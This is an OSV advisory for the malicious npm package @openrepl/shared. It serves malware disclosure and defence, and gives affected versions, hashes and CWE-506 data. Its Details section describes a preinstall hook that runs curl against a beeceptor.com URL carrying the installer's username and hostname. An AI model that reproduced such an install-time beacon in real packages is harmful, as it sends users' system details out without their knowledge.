MAL-2026-14057

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@openrepl/shared/MAL-2026-14057.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-14057
Published
2026-08-15T15:58:33Z
Modified
2026-08-15T16:15:12.552771910Z
Summary
Malicious code in @openrepl/shared (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (2fcd297122e7aac00cd0d3d92fcb5f1fc00b6c558571a037b5447eb64bd443b8)

package.json declares a preinstall hook (node index.js) that runs automatically on npm install. index.js shells out via child_process to execute curl -X POST against https://youjoex.free.beeceptor.com/$(whoami)/$(hostname), embedding the installer's OS username and hostname (captured via command substitution) in the URL path. beeceptor.com is a public request-inspection service commonly used as a low-effort exfiltration sink. The package advertises no functionality that would justify this network beacon and ships no other library code consistent with its shared name.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-017965",
            "modified_time": "2026-08-15T15:58:33Z",
            "source": "amazon-inspector",
            "versions": [
                "0.0.5"
            ],
            "import_time": "2026-08-15T16:07:57.008737654Z",
            "sha256": "2fcd297122e7aac00cd0d3d92fcb5f1fc00b6c558571a037b5447eb64bd443b8"
        },
        {
            "id": "IN-MAL-2026-017966",
            "modified_time": "2026-08-15T15:58:40Z",
            "import_time": "2026-08-15T16:07:57.086040823Z",
            "versions": [
                "0.0.4"
            ],
            "sha256": "aabd8862a4910812bd95dde0681670548ea04386d70674032057229927497e12",
            "source": "amazon-inspector"
        }
    ]
}
References
Credits

Affected packages

npm / @openrepl/shared

Package

Name
@openrepl/shared
View open source insights on deps.dev
Purl
pkg:npm/%40openrepl/shared

Affected ranges

Affected versions

0.*
0.0.4
0.0.5

Database specific

cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "index.js",
            "sha256": "95f3a06183c1303e12e3c4914662eb3d9fdd74911212724a83442b7ce0009c29",
            "tlsh": "4ee0720a5cf9483a327218a4e908181f7b4bca00023bf082dc8a082013d886882281e3"
        }
    ],
    "package_integrity": [
        {
            "filename": "shared-0.0.5.tgz",
            "hashes": {
                "sha512_sri": "sha512-LCpOC9M9P3ub8SF6MDp83qcAkp9QbBU41C/hATKpSGTU7hqe8fMQYu71WQ8lOzBKyQI1EDH3Ye3CHM+VXajODg==",
                "sha1": "cff64d50a45e2f0e50babffdd68c896092c2af6d"
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@openrepl/shared/MAL-2026-14057.json"